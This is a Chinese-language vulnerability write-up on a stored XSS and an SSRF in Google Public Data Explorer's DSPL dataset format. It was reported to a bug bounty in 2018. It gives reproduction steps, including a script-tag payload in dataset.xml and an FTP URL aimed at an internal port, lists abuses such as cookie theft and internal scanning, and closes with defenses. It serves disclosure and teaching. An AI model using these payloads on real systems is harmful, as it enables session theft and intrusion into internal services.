利用DSPL对Google发动存储型XSS和SSRF攻击
字数 1216 2025-08-29 08:32:09
DSPL漏洞利用:存储型XSS与SSRF攻击分析
1. 背景介绍
Google公共数据资源管理器是一个用于浏览和可视化大型数据集的工具,它使用DSPL(Dataset Publishing Language)格式来描述数据集。DSPL包含XML元数据和CSV数据文件,打包为ZIP格式。
2. 漏洞概述
2.1 存储型XSS漏洞
- 漏洞位置:dataset.xml文件中的
<name>标签值 - 触发条件:Google公共数据资源管理器未对元数据进行适当的编码或验证
- 影响范围:www.google.com域下的任意脚本执行
2.2 SSRF漏洞
- 漏洞位置:dataset.xml文件中的远程数据源引用
- 触发条件:通过HTTP/FTP协议访问内部服务
- 影响范围:可访问本地或内部网络服务
3. 漏洞复现步骤
3.1 存储型XSS复现
- 准备基础数据集:
curl https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/dspl/tutorial1.0.zip -o sample.zip
unzip sample.zip
rm sample.zip
- 修改dataset.xml:
<info>
<name>
<value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
<description>
<value>Some very interesting statistics about countries</value>
</description>
<url>
<value>http://google.com</value>
</url>
</info>
- 重新打包数据集:
zip -r poc.dspl *
- 上传并分享:将数据集上传至Google公共数据资源管理器并公开分享
3.2 SSRF复现
- 修改dataset.xml:
<table id="my_table">
<column id="first" type="string" />
<column id="last" type="string" />
<data>
<file format="csv" encoding="utf-8">ftp://0.0.0.0:22</file>
</data>
</table>
- 上传数据集:观察返回的错误响应,可能包含内部服务的banner信息
4. 技术细节分析
4.1 XSS漏洞原理
- Google公共数据资源管理器直接使用dataset.xml中的
<name>值,未进行HTML编码 - CDATA区段用于绕过XML解析,确保JavaScript代码不被解释为XML标记
- 脚本在www.google.com域下执行,可窃取用户cookie等敏感信息
4.2 SSRF漏洞原理
- DSPL支持从远程HTTP/FTP源获取数据
- 攻击者可构造特殊URL探测内部服务
- 通过错误响应获取内部服务信息(如SSH banner)
5. 漏洞利用场景
5.1 XSS利用
- 植入Coinhive等挖矿脚本
- 窃取用户会话cookie
- 发起钓鱼攻击
- 传播恶意软件
5.2 SSRF利用
- 扫描内部网络
- 访问受限服务(如数据库管理界面)
- 攻击内部系统(如Redis未授权访问)
- 获取云服务元数据
6. 防御措施
6.1 针对XSS
- 对所有用户提供的数据进行HTML编码
- 实施严格的CSP策略
- 对DSPL元数据进行白名单验证
6.2 针对SSRF
- 限制可访问的协议(禁用FTP等)
- 实施URL白名单
- 过滤私有IP地址和保留地址空间
- 禁用DNS重绑定
7. 漏洞奖励
- 存储型XSS漏洞奖励:$5,000
- SSRF漏洞奖励:$13,337
8. 时间线
- 2018年1月:漏洞报告
- 2018年2月:确认修复
- 2018年3月:公开披露
9. 总结
DSPL格式在处理过程中的安全疏忽导致了两个高危漏洞:
- 存储型XSS允许攻击者在Google主域下执行任意代码
- SSRF允许攻击者探测和访问内部服务
这两个漏洞的组合可造成严重的安全影响,强调了在数据处理流程中实施严格输入验证和安全编码实践的重要性。